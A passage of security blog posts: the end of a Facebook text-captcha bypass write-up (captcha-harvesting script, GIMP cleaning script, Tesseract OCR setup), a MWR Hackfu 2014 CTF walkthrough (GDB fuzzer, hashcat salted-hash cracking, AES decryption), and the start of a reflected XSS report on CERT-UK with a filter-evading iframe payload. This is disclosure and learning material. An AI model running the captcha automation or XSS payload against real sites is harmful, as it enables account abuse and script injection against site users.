<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1SCrBa2Af3Yq5hE6SO1oKFIEXgPd1hZNzOJ9AP_yu1KdIgxSVOLwPxhECIxYy9O-x1VWv4weM9sZNYS4C-xWAMB5H1ZrRscs5iGHRRSOfOqLMx3fDHRkncZpLvmG0xI5hwJaJrXrzHct3/s1600/blogtest1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1SCrBa2Af3Yq5hE6SO1oKFIEXgPd1hZNzOJ9AP_yu1KdIgxSVOLwPxhECIxYy9O-x1VWv4weM9sZNYS4C-xWAMB5H1ZrRscs5iGHRRSOfOqLMx3fDHRkncZpLvmG0xI5hwJaJrXrzHct3/s1600/blogtest1.png" height="81" width="320" /></a></div>
<br />
<br />
<span style="font-size: large;"><b>Step #2 Submitting to Tesseract</b></span><br />
<br />
With the image now cleaned it was ready for Tesseract. To improve the accuracy of results I selected the single word mode (-psm 8) and used a custom character set (nobatch fb).<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">tesseract.exe test.jpg output -psm 8 nobatch fb
</pre>
<br />
I created the fb character set in "C:\Program Files (x86)\Tesseract-OCR\tessdata\configs", it contained the following whitelist:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">tessedit_char_whitelist abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890</pre>
<br />
<br />
<b><span style="font-size: large;">Step #3 Automate everything with Python</span></b><br />
<br />
I didn't bother to build a fully working POC to automate a real attack - I'm leaving this step as homework for you guys, best script wins $1 via Paypal ;) (I am of course joking don't actually do this!)<br />
<br />
Theoretically though if you did want to build a fully functioning script you'd just need to take the python script from my Bugcrowd post and cleaning script from this post, combine and pwn.<br />
<br />
Also the following can be used to download Facebook captchas <b>after</b> you have triggered the Facebook defenses:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">from urllib.error import *
from urllib.request import *
from urllib.parse import *
import re
import subprocess
def getpage():
try:
print("[+] POSTing to fb");
params = {'lsd':'AVrQ4y7A', 'email':'09262073366', 'did_submit':'Search', '__user':'0', '__a':'1', '__dyn':'7wiUdp87ebG58mBWo', '__req':'p','__rev':'1114696','captcha_persist_data':'abc','recaptcha_challenge_field':'','captcha_response':'abc','confirmed':'1'}
data = urlencode(params).encode('utf-8')
request = Request("https://www.facebook.com/ajax/login/help/identify.php?ctx=recover")
request.add_header('Cookie', 'locale=en_GB;datr=Ku2xUhSA3kShtkMud0JXRHCY; reg_fb_gate=https%3A%2F%2Fwww.facebook.com%2F%3Fstype%3Dlo%26jlou%3DAfco_1iUuf5XPNAuu9SBYhFnEoJfgxIw_9vwHlTfaTRjGB2Ac4VOSLHb018RjcLg3JVRsiY-sQlRSM00X59eKhLh5SJGHltQ0hEQ2WAiRR9A_g%26smuh%3D28853%26lh%3DAc-vs8zSU-_-6kh2%26aik%3Dqh9ABV52OPB3zXxCyUTNXw;')
#Send request and analyse response
f = urlopen(request, data)
response = f.read().decode('utf-8')
global ccode
ccode = re.findall('[a-z0-9-]{43}', response)
global chash
chash = re.findall('[a-zA-Z0-9_-]{814}', response)
print("[+] Parsed response");
except URLError as e:
print ("*****Error: Cannot retrieve URL*****");
def getcaptcha(i):
try:
print("[+] Downloading Captcha");
captchaurl = "https://www.facebook.com/captcha/tfbimage.php?captcha_challenge_code="+ccode[0]+"&captcha_challenge_hash="+chash[1]
urlretrieve(captchaurl,'fbcap'+str(i)+'.png')
except URLError as e:
print ("*****Error: Cannot retrieve URL*****");
print("[+] Start!");
for i in range(0, 1000):
#Download page and parse data
getpage();
#Download captcha image
getcaptcha(i);
print("[+] Finished!");
</pre>
<br />
<br />
<b><span style="font-size: large;">Final Results</span></b><br />
<br />
So I guess you're wondering, how accurate was Tesseract? Well on a sample of 50 captchas that had been cleaned with Gimp, Tesseract was able to analyse them 100% correctly about 20% of the time. However taking into account the logic flaws the actual pass rate jumped to 50%.<br />
<br />
Some example results:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMwt0wDyaQGzPs8U6utmeNpj7zI12Rr_e4z_5Z2nqHJ0wKQ_hR7dGObawnCCDO7dQXapn_R7o2WCWYa9BdDcgkwLa002_OxtmHFGxL9pJRobmgdX5LfmFmkj0Gbknu3c_NKjJGqyr-KlDS/s1600/results.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMwt0wDyaQGzPs8U6utmeNpj7zI12Rr_e4z_5Z2nqHJ0wKQ_hR7dGObawnCCDO7dQXapn_R7o2WCWYa9BdDcgkwLa002_OxtmHFGxL9pJRobmgdX5LfmFmkj0Gbknu3c_NKjJGqyr-KlDS/s1600/results.png" height="232" width="640" /></a></div>
<br />
It's quite impressive seeing how well both the Gimp cleaning and Tesseract analysis performed. Although you can also see how even subtle changes in the initial image can significantly affect both cleaning output and final analysis.<br />
<br />
<br />
<b><span style="font-size: large;">Facebook Fix #1</span></b><br />
<br />
After reporting these issues the captcha repetition was addressed pretty quickly. The other logic flaws were left unchanged. The image itself was modified to make the characters/noise thicker:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpPUso41izP2XvQIHiyyG6xRR7VVfbfdnUQ2KSEzMArTmdXcsSIv9_024SCLNVjrx-NMNJRW53TYA762nPgMN8oPWIEA1DbbFmNxPerqrTDRbHyNRxnCZms-AWYrRhncohWsXNQNzmKuKn/s1600/chunkycaptcha.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpPUso41izP2XvQIHiyyG6xRR7VVfbfdnUQ2KSEzMArTmdXcsSIv9_024SCLNVjrx-NMNJRW53TYA762nPgMN8oPWIEA1DbbFmNxPerqrTDRbHyNRxnCZms-AWYrRhncohWsXNQNzmKuKn/s1600/chunkycaptcha.png" /></a></div>
<br />
Unfortunately this had little effect on the captcha strength as it's the noise to character relative thickness that mattered not the absolute thickness. Making the noise thicker and characters <b>thinner</b>, would have prevented noise removal through selection shrinking.<br />
<br />
<br />
<b><span style="font-size: large;">Final Thoughts</span></b><br />
<br />
Another day, another captcha bypass. Whether you use Tesseract or a bad-ass custom neural network like <a href="http://googleonlinesecurity.blogspot.co.uk/2014/04/street-view-and-recaptcha-technology.html">Google</a> or <a href="http://vicarious.com/">Vicarious</a>, text captchas can be bypassed with relative ease. I managed a 20% pass-rate, I'm sure with a better cleaning process and/or Tesseract training this could be pushed a lot higher. It's time to ditch that text captcha.<br />
<br />
Facebook said that right now the captcha is used more as a mechanism to slow down attacks as opposed to stopping attacks completely. The captcha will eventually be fixed but there are no plans at the moment.<br />
<br />
Shout out to Facebook security for their help looking into this issue. Thanks for reading. Questions and comments are always appreciated, just leave a message below.<br />
<br />
Pwndizzle out<br />
<br />
<br />
############################################<br />
#Gimp-Fu cleaning script, based on stackoverflow script here:<br />
#<a href="http://stackoverflow.com/questions/12662676/writing-a-gimp-python-script?rq=1">http://stackoverflow.com/questions/12662676/writing-a-gimp-python-script?rq=1</a><br />
<br />
from gimpfu import pdb, main, register, PF_STRING<br />
<br />
def clean(file):<br />
#Load image<br />
image = pdb.gimp_file_load(file, file)<br />
drawable = pdb.gimp_image_get_active_layer(image)<br />
#Double image size<br />
pdb.gimp_image_scale(image,560,142)<br />
#Select by color black<br />
pdb.gimp_by_color_select(drawable,"#000000",20,2,0,0,0,0)<br />
#Shrink selection by 1 pixel<br />
pdb.gimp_selection_shrink(image,1)<br />
#Grow selection by 2 pixels<br />
pdb.gimp_selection_grow(image,2)<br />
#Fill black<br />
pdb.gimp_context_set_foreground((0,0,0))<br />
pdb.gimp_edit_fill(drawable,0)<br />
pdb.gimp_edit_fill(drawable,0)<br />
pdb.gimp_edit_fill(drawable,0)<br />
#Invert selection<br />
pdb.gimp_selection_invert(image)<br />
#Fill white<br />
pdb.gimp_context_set_foreground((255,255,255))<br />
pdb.gimp_edit_fill(drawable,0)<br />
#Invert selection<br />
pdb.gimp_selection_invert(image)<br />
pdb.gimp_context_set_foreground((0,0,0))<br />
#Translate selection up 4 pixels and paint<br />
pdb.gimp_selection_translate(image,0,4)<br />
pdb.gimp_edit_fill(drawable,0)<br />
#Translate selection down 10 pixels and paint<br />
pdb.gimp_selection_translate(image,0,-10)<br />
pdb.gimp_edit_fill(drawable,0)<br />
#Resize image<br />
pdb.gimp_image_scale(image,280,71)<br />
#Export<br />
pdb.gimp_file_save(image, drawable, file, file)<br />
pdb.gimp_image_delete(image)<br />
<br />
args = [(PF_STRING, 'file', 'GlobPattern', '*.*')]<br />
register('python-clean', '', '', '', '', '', '', '', args, [], clean)<br />
<br />
main()<br />
<br />
############################################Unknownnoreply@blogger.com28tag:blogger.com,1999:blog-6613536328909163975.post-36221436722618783402014-06-26T11:21:00.001+01:002014-06-26T12:11:01.387+01:00MWR Hackfu Challenge 2014Every year MWR release their infamous Hackfu challenge in the build-up to the actual Hackfu event. I had a crack at this years challenge and managed to get just over half way. In this post I'll discuss some of the solutions.<br />
<br />
For MWR Hackfu 2013 solutions check the excellent post <a href="http://packetguru.blogspot.co.uk/2013/06/mwr-hackfu-challenge-2013.html">here</a>.<br />
<br />
<br />
<b><span style="font-size: large;">Pre-Challenge-Challenge</span></b><br />
<br />
The challenge started off with a zip file containing a code book, some encoded text and an AES encrypted file. Decoding the text would give you the password to decrypt the file.<br />
<br />
The whole challenge was based around the one time pad CT-37 (http://users.telenet.be/d.rijmenants/en/otp.htm). You were given a set of 1000+ possible pads and had to decode the encoded text with each pad. Searching through the 1000+ decoded texts you would find the answer.<br />
<br />
The pads were in a bit of an awkward format:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIaWVY5n-ekYez9j2fIkZYOTga6uPuQ3a-XAsmrUZSEK6T5HkIn9IUFRu6tJ2m4fxmXHYdcL0zdU9jIQcKAkrwjtnEqRUI_3krVGonOULIfTcgoSpNmggnN_hK0tgZX_Fl51C5_qMEWGKf/s1600/pad.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIaWVY5n-ekYez9j2fIkZYOTga6uPuQ3a-XAsmrUZSEK6T5HkIn9IUFRu6tJ2m4fxmXHYdcL0zdU9jIQcKAkrwjtnEqRUI_3krVGonOULIfTcgoSpNmggnN_hK0tgZX_Fl51C5_qMEWGKf/s1600/pad.png" height="202" width="400" /></a></div>
<br />
So the first thing to do was format the pads into something more user friendly:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">with open("book.txt") as f:
content = f.readlines()
for x in xrange(0, len(content)-1, 17):
col1 = ""
col2 = ""
for y in range(x+4,x+14):
col1 = col1 + str(content[y].split("|")[1].replace(" ", ""))
col2 = col2 + str(content[y].split("|")[2].replace(" ", ""))
print col1
print col2</pre>
<br />
Next came the decoding - I read in the pads, modulus with the encoded text then convert the result from numbers back to letters. I didn't quite finish the logic for number decoding so the final result had letters decoded but numbers encoded, meaning some manual conversion was needed.<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">ct37 = {"1":"A", "2":"E", "3":"I", "4":"N","5":"O","6":"T","70":"B","71":"C","72":"D","73":"F","74":"G","75":"H","76":"J","77":"K","78":"L","79":"M","80":"P","81":"Q","82":"R","83":"S","84":"U","85":"V","86":"W","87":"X","88":"Y","89":"Z","90":"FIG","91":".","92":":","93":"'","94":"bla","95":"+","96":"-","97":"=","98":"REQ","99":" "}
#MWR TEXT
text = "769605051216509986104949466790121237625886055201851226360699645529130149291137238279392786680278378964378759191773333762068904750697824787177658393352150777878727078"
with open("book1.txt") as f:
content = f.readlines()
for k in range(1200):
book = str(content[k])
ctext = list(text.replace(" ", ""))
pad = list(book.replace(" ", ""))
print "********************BOOK " + str(k) + "********************"
#print "Text: " + str(ctext)
#print "Book: " + str(pad)
x = []
for i in range(0,len(ctext)):
x.append(str((int(ctext[i]) + int(pad[i])) % 10))
i = 0
y = []
code = 0
double = 0
for i in range(0,len(x)):
if(code>0):
code += 1
if(double>0):
double += 1
if(code==0 and double==0 and int(x[i])==0 and i<len(x)-3):
code=1
y.append(x[i] + x[i+1] + x[i+2] + x[i+3])
elif(code==0 and double==0 and int(x[i])>6 and i<len(x)-1):
double=1
y.append(x[i] + x[i+1])
elif(code==0 and double==0 and int(x[i])<7):
y.append(x[i])
if(code>3):
code = 0
if(double>1):
double = 0
for j in y:
if j in ct37:
print ct37[j],
else:
print j,
print "."
</pre>
<div>
<br />
The final message:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">PREVIOUS COMMUNICATIONS COMPROMISED. NEW INSTRUCTIONS SENT. PASSWORD IS BOGEY-23+FOX22.59</pre>
<br />
<br />
<span style="font-size: large;"><b>The Container</b></span><br />
<br />
With the answer from the pre-challenge I could now decode the AES encrypted file to access the rest of the challenges:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">openssl enc -base64 -d -aes-256-cbc -in container.zip.aes -out container.zip</pre>
The zip file contained four challenges, I managed to complete 1, 3 and half of 4.<br />
<div style="text-align: center;">
</div>
<ul>
<li style="text-align: left;">01 - Binary Reversing</li>
<li style="text-align: left;">02 - Steganography</li>
<li style="text-align: left;">03 - Encryption</li>
<li style="text-align: left;">04 - Password Recovery</li>
</ul>
<br />
<b><span style="font-size: large;">01 - Binary Reversing</span></b><br />
<br />
This challenge involved analysing a binary and discovering a secret password. You could enter a password guess and the program would tell you if it was right or wrong.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfYBQIfmh28s-OVe4DXk8-I1dfCJBs0yE1m3C3KSSaiq5I1dll70mfpSO0O2b7oiRfhUY3m3nkKQY009S-t7ZjL6ry3Mzc-NSsFmufUSt0cn-eLBPbXvxrUvAQVGIu8abA4LCeMPhyphenhyphenVMgQ/s1600/checkpasswd.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfYBQIfmh28s-OVe4DXk8-I1dfCJBs0yE1m3C3KSSaiq5I1dll70mfpSO0O2b7oiRfhUY3m3nkKQY009S-t7ZjL6ry3Mzc-NSsFmufUSt0cn-eLBPbXvxrUvAQVGIu8abA4LCeMPhyphenhyphenVMgQ/s1600/checkpasswd.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Assuming that brute force would be too time consuming I set to work analysing the binary with IDA and EDB debugger. The first part of the program could be followed with relative ease and you could observe the program iterating over the characters of the input password one by one. I discovered that when a valid character was found a counter variable was incremented. When the counter reached 19 the below condition would be met and the success message given:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9KbQ2RMJTugPV2OBZboZEyofutedS3RxSBzrMlQz_xWAHUcacvPM2UqU5QLfTLUaa0zvOPn-DXKxNXLJ2y4eJCBdDUh8NDjZKOgkyK_qekUF3dE9SMA3muvjz2WEIlfwJFwWCOnYt1BUv/s1600/idacounter.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9KbQ2RMJTugPV2OBZboZEyofutedS3RxSBzrMlQz_xWAHUcacvPM2UqU5QLfTLUaa0zvOPn-DXKxNXLJ2y4eJCBdDUh8NDjZKOgkyK_qekUF3dE9SMA3muvjz2WEIlfwJFwWCOnYt1BUv/s1600/idacounter.png" /></a></div>
<br />
To find valid characters the most obvious approach was to check the code for where the counter was incremented, I had hoped there would be some simple comparisons that revealed the characters... Unfortunately things weren't that simple and the bottom part of the program that actually analysed the characters was too complex to follow.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-rRaAz8RDFZh6kBFmhm-qY_IXCy9iBuRoWyhkqZo49ncuCB2h7So40pWI6AjfGm3nGPl1ikTSlT_ff-cki73p7IZZU_I-TQ-LQa4q_GbGuKUyc2KL3f6m5FglKL99zHpTo5Nh3DPd0xNt/s1600/binary.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-rRaAz8RDFZh6kBFmhm-qY_IXCy9iBuRoWyhkqZo49ncuCB2h7So40pWI6AjfGm3nGPl1ikTSlT_ff-cki73p7IZZU_I-TQ-LQa4q_GbGuKUyc2KL3f6m5FglKL99zHpTo5Nh3DPd0xNt/s1600/binary.png" /></a></div>
So at this point I knew that a counter was incremented on correct password characters but I couldn't find out how/why using static analysis - what about dynamic analysis?<br />
<br />
If there was some way to iterate over password characters and read the counter's memory value (at esp+78h+var_50) as the program executed, I would know when a valid character was hit as the counter would increment. Never wanting to reinvent the wheel I hit Google and came across an interesting GDB fuzzer <a href="https://github.com/crossbowerbt/GDB-Python-Utils/blob/master/examples/in-memory-fuzzer/in-memory-fuzz.py">here</a>. With a few tweaks it was ready to go.<br />
<br />
(The more sexy solution would have been to patch the binary to spit out the counter value, unfortunately my assembly skills are somewhat limited)<br />
<br />
To execute a python script in GDB:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">gdb -q -x myscript.py </pre>
<br />
The fuzzing script:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;"># -*- coding: utf-8 -*-
import gdb
sys.path.append(os.getcwd())
guess = ['"','z','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','"']
def break_handler (event):
print "Break hit!"
gdb.execute('x/x $esp+40')
gdb.execute('set pagination off')
gdb.execute('set verbose off')
gdb.execute('set confirm off')
gdb.execute('file check-passwd')
gdb.execute('break *0x8049603')
gdb.events.stop.connect(break_handler)
i=1
for i in range(13,len(guess)-7):
for j in range(21,700):
if j==34 or j==92 or j==96: j+=1
val = unichr(j).encode('utf8')
print j
guess[i] = str(val)
print "Guess: " + ''.join(guess)
gdb.execute('set args ' + ''.join(guess))
gdb.execute('run')
gdb.execute('quit')
</pre>
<br />
As an example, when trying "u" as the 18th character you can see the counter incremented indicating this was a valid character. But when trying "t" or "v" the counter stayed at zero.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrQDWDSXPOuloYPcDkEJS0_oKW53mHPSWa9v2yd1tqnpuqxNIHbM-9KEDGvYZBUxqMxDE7oJMnd2oc2UsoNmy08HvlitWH9kIxdW7wb5TEvF6GtraAH70pJNslXaZJbiLkSbl-YbHlVjpi/s1600/guess.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrQDWDSXPOuloYPcDkEJS0_oKW53mHPSWa9v2yd1tqnpuqxNIHbM-9KEDGvYZBUxqMxDE7oJMnd2oc2UsoNmy08HvlitWH9kIxdW7wb5TEvF6GtraAH70pJNslXaZJbiLkSbl-YbHlVjpi/s1600/guess.png" /></a></div>
<br />
By analysing the script output I was able to construct the complete password.<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">novus orD0_saclorum
</pre>
<br />
<br />
<b><span style="font-size: large;">02 - Steganography</span></b><br />
<br />
In this challenge you had to reverse the stego techniques used to hide data within an image. You were given a before image and an after image, by diff-ing the images you could see a pattern of changed bytes. Without knowing much about the jpeg format or compression I passed on this challenge, apparently the solution had to do with the least significant bit of the luminescence blocks.<br />
<br />
<br />
<b><span style="font-size: large;">03 - Encryption</span></b><br />
<br />
This was one of those fiendishly simple yet annoyingly difficult challenges. You were basically told to decode this:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">+------++++-+-+-++++++----+++--++--+-----+--+++--++-----+++--+++-+-+-+
-++++-----+-+-+++---+-+++++--+++-----+++--+++-+++++----+---++-+-++-+++
++--+--+++-+++++----+-+--+-+-++-+-++-+++++--+--++--++---+++------++--+
--+++++---+-+-----+-++---+-++-+-+-+++--++-++++-+-+-++-+-++--+---++-+-+
-+++++--++++--+-+++-+----++--+-+++-++----+++++-++-+-+-+-+++-++--+-+-++
+-----+--++-+-+++--+-++---+--++-+++-++--+-++-+----++--+++-++--+-++-+-+
++--+++----++++---++-++---+--++-++-++--++-+--+----+-++++-+-+++--+--+-+
+-+-+-+--++----+--++--++-+-+-+-+++--+++--++---+--++-+-++-+-+--+-+-+++-
--++-++---+--++-+++-++---+--++++-----+-+-++--+-+-+--+-+-+--+-++---+--+</pre>
<br />
I initially tried some binary and ascii conversion as well as chunking as the 630 character block evenly split into chunks of 3, 5, 6, 7, 9 and 10 but couldn't spot anything. With a dot/dash like pattern I tried some Morse code analysis too but with spaces missing and no kind of deliminator the number of word combinations was too great. So what was the answer?<br />
<br />
After a hint from MWR I revisited the binary conversion/chunking and realised I had missed the obvious. By converting the -/+ to 0's and 1's then splitting the data into chunks of 5 bits, you ended up with each chunk corresponding to a number in the range 1-26, hello alphabet!<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">etext = "100000011110101011111100001110011001000001001110011000001110011101010101111000001010111000101111100111000001110011101111100001000110101101111100100111011111000010100101011010110111110010011001100011100000011001001111100010100000101100010110101011100110111101010110101100100011010101111100111100101110100001100101110110000111110110101010111011001010111000001001101011100101100010011011101100101101000011001110110010110101110011100001111000110110001001101101100110100100001011110101110010010110101010011000010011001101010101110011100110001001101011010100101011100011011000100110111011000100111100000101011001010100101010010110001001"
for n in range(5,8):
print "CHUNK SIZE: " + str(n)
arr = []
for i in xrange(0, len(etext), n):
arr.append(int(str(etext[i:i+n]),2))
print arr
</pre>
<br />
Of course no challenge is that easy, simple A=1, B=2 etc. substitution didn't work and neither did Caeser cipher variants. To find the answer frequency analysis was needed. I initially tried to do the substitution manually but the number of combinations made life difficult so in the end I used the excellent cryptogram solver here: http://quipqiup.com<br />
<br />
This gave me a rough answer:
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">operations otter heads approved s proceeds with spackages deliverfs to stargets bones ind i go sumesaryings codesmen of wettine em twaft a famiemnin</pre>
<br />
With a little hangman style guess work I cleaned it up to get the final answer:
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">operation otterhead approved proceed with package delivery to target zone indigo use arming code senoywettineestwaytayasiesnin</pre>
<br />
<br />
<b><span style="font-size: large;">04 - Password Recovery</span></b><br />
<br />
The final challenge involved decrypting a set of messages from a Mexican wrestling forum that had been hacked, you were given the password hashes and messages from the forum. First-up messages had to be base64 decoded, then translated from Spanish to English. The two target users could be seen sending AES encrypted messages back and forth.<br />
<br />
My first plan of attack was to target password reuse. I guessed the target users may have used the same password for the forum as they did when encrypting their private conversation. In the story text MWR had given us a user and a password (NaClgoofd), this suggested a weak or badly designed salt scheme was in use. After much toying with hashcat I figured out that the site had used the id and username of the user as the salt when hashing passwords e.g. md5(id+username+password).<br />
<br />
To crack the hashes I added the salt prefix using a hashcat mask:
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">cudaHashcat64.exe -m 0 -a 7 hash.txt ^0^0^1^a^d^m^i^n^i^s^t^r^a^d^o^r rockyou.txt</pre>
<br />
With the salt scheme I was able to crack the hashes of the two target users and the admin:
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">administrador:Redfish99
LaSombra:2fast4u
ElEnterrador:password
</pre>
<br />
Unfortunately the private messages weren't just encrypted with these passwords. There was actually a more funky encryption routine at work. MWR released the following hint:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">secret = SaltMachine.generate(msg.ref_info,application.secrets.privateboard)
key = md5.md5(secret).digest()</pre>
<br />
The private messages were actually encrypted with a key that was an md5 of msgid + threadid + userid + admin password. I've not used pycrypto much in the past so even with the solution in hand it took me a while (and a hint or two) to finally get the answer:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">import hashlib
import base64
from Crypto.Cipher import AES
def decrypt(key,input):
ciphertext = base64.b64decode(input)
iv = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
cipher = AES.new(hashlib.md5(key).digest(), AES.MODE_CBC, iv)
return cipher.decrypt(ciphertext)
print decrypt("003575029004Redfish99","WMJJBOOhGCkQrUVE0T03paykzQA5HZAdBVf5LaPcBpDZUIO9Y4M9lo2oU7ra9Gji7F3Qpph7jgvtpXIJDIgs+Q==")
print decrypt("003578029003Redfish99","KM4C5iPGzm9d01TwsLTqfA7Pas20qGgsiolhKMly9PT0qdIIjX8+mh2wrXqR4fdga0Aw+AF9g2YMGOoMQDeb0VmWWT06FtdZxv2CFIUAa1A9+rlkWyiMa4zewrYyKJDy")
print decrypt("003581029004Redfish99","2MyEvMWqWyfWAC/z6gypxvpvgCLIwt7ZHw64Yy3KBeqS9+QOk0bVzXQeI9MJo0Hm")
</pre>
<br />
Decrypting the text gave the final solution:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;"><b>ElEnterrador:</b> Do we have progress? You committed to having it ready by now...
<b>LaSombra:</b> Calmate... Package is already in escrow. Pay my guy, and you'll get your little present.
<b>ElEnterrador:</b> Payment made. Reference: 18954-XW-8893432-AQP7</pre>
<br />
<br />
<b><span style="font-size: large;">Final Thoughts</span></b><br />
<br />
Hackfu certainly isn't for the faint-hearted. The challenges require technical know-how, the ability to think outside the box and dedication (unlike a bug bounty there was no prize money!). Despite not completing every challenge I still found Hackfu a great learning experience and it was an amazing feeling finally reaching answers after grinding away at them for so long.<br />
<br />
If you have any questions about the challenges (or if you have a solution to challenge #2!) just drop me a comment below.<br />
<br />
Big thanks to MWR for creating HackFu 2014, can't wait to see what next year brings!<br />
<br />
Pwndizzle out.</div>
Unknownnoreply@blogger.com17tag:blogger.com,1999:blog-6613536328909163975.post-28628445537223241362014-04-30T14:11:00.000+01:002014-04-30T14:11:26.764+01:00CERT-UK Search XSS<div>
Whenever I see an input field I automatically think XSS. So looking at the new CERT-UK website (<a href="https://www.cert.gov.uk/">https://www.cert.gov.uk</a>) I saw they had a search box and straight away thought "XSS?".<br />
<br />
Entering a test payload in the search box:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQQuSOb5aiGPJGQnqZdHsyWYgIBtRnhIG2R1IeKw6N55NczM6OuYl4_OEtNVsabOGBe7ax0_9zDAMlEmDwbNxYYOxYy0x8n1awj43hK-d9vyJgh2r8Z3JkiMq6k47SxLVVhJ_axbC1nirW/s1600/certpage.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQQuSOb5aiGPJGQnqZdHsyWYgIBtRnhIG2R1IeKw6N55NczM6OuYl4_OEtNVsabOGBe7ax0_9zDAMlEmDwbNxYYOxYy0x8n1awj43hK-d9vyJgh2r8Z3JkiMq6k47SxLVVhJ_axbC1nirW/s1600/certpage.png" /></a></div>
<br /></div>
<div>
<br />
It turns out the search output wasn't properly encoded:</div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBehXUbe3ol2Ddy0kFIW3bobvoar_8Qn3qGAH0QLjAlDF5vEXIjqS0rkBCPN-yxwCCcvubQ2IGd4KFCHyeQ8t8ZIRxbuHELKh3tTsGz57kWzUuugfokA9CPCOrHEC_nBwt1I0srw8Yp3CL/s1600/certalert.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBehXUbe3ol2Ddy0kFIW3bobvoar_8Qn3qGAH0QLjAlDF5vEXIjqS0rkBCPN-yxwCCcvubQ2IGd4KFCHyeQ8t8ZIRxbuHELKh3tTsGz57kWzUuugfokA9CPCOrHEC_nBwt1I0srw8Yp3CL/s1600/certalert.png" /></a></div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div>
<br /></div>
<div>
Whenever you find an XSS the next step is obviously to make a pretty "XSS on " + document.domain screenshot right? However I found out they had some character filtering/escaping for quotes and plus signs. But that of course could be bypassed with a little javascript trickery. For example:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">https://www.cert.gov.uk/?s="><iframe/onload=a=document.domain;b=String.fromCharCode(88,83,83,32,111,110,32);alert(b.concat(a));>
</pre>
<br />
To get the classic:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
